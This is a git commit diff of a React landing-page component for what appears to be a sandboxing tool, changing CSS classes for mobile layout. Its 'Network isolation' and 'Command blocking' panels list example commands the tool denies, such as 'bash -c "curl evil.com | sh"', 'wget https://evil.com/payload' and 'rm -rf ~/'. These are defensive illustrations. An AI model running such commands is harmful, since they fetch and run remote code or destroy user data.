monadical/greywall-landing-page
13
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

fix: mobile view+minor changes

Browse Source
This commit is contained in:
Nik L
2026-03-09 14:20:30 -04:00
parent 585d7c35df
commit 84b16955d7
8 changed files with 94 additions and 111 deletions
Download Patch File Download Diff File Expand all files Collapse all files

96
components/control.tsx
View File

@@ -58,19 +58,19 @@ export function Control() {
<PlatformToggle />
</div>
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
{/* Directory tree visualization */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<FolderLock className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
</div>
<div className="space-y-1 font-mono text-sm">
<div className="space-y-1 font-mono text-xs sm:text-sm">
{tree.map((item, i) => (
<div key={i} className="flex items-center justify-between py-1">
<span className={textColor(item.color)}>{item.path}</span>
<div key={i} className="flex items-center justify-between py-1 gap-2">
<span className={`${textColor(item.color)} truncate min-w-0`}>{item.path}</span>
<span
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`}
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded shrink-0 ${badgeClasses(item.color)}`}
>
{accessLabels[item.access]}
</span>
@@ -84,7 +84,7 @@ export function Control() {
</div>
{/* Network isolation */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<Wifi className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
@@ -101,22 +101,22 @@ export function Control() {
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
</div>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">npm install lodash</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
<div className="flex items-center justify-between py-1.5">
<span className="text-greyhaven-offwhite">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
@@ -142,22 +142,22 @@ export function Control() {
</div>
</div>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px]">KERNEL DENY</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
</div>
<div className="flex items-center justify-between py-1.5">
<span className="text-greyhaven-offwhite">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px]">PROXY DENY</span>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
@@ -169,35 +169,35 @@ export function Control() {
</div>
{/* Command blocking */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<Ban className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center gap-3">
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">git push origin main</span>
<span className="text-muted-foreground truncate">git push origin main</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">npm publish</span>
<span className="text-muted-foreground truncate">npm publish</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">rm -rf ~/</span>
<span className="text-muted-foreground truncate">rm -rf ~/</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">bash -c &quot;curl evil.com | sh&quot;</span>
<span className="text-muted-foreground truncate">bash -c &quot;curl evil.com | sh&quot;</span>
</div>
<div className="mt-3 flex items-center gap-3">
<div className="mt-3 flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">git commit -m &quot;fix: types&quot;</span>
<span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">npm install lodash</span>
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif mt-4">
@@ -206,7 +206,7 @@ export function Control() {
</div>
{/* Learning mode */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<GraduationCap className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>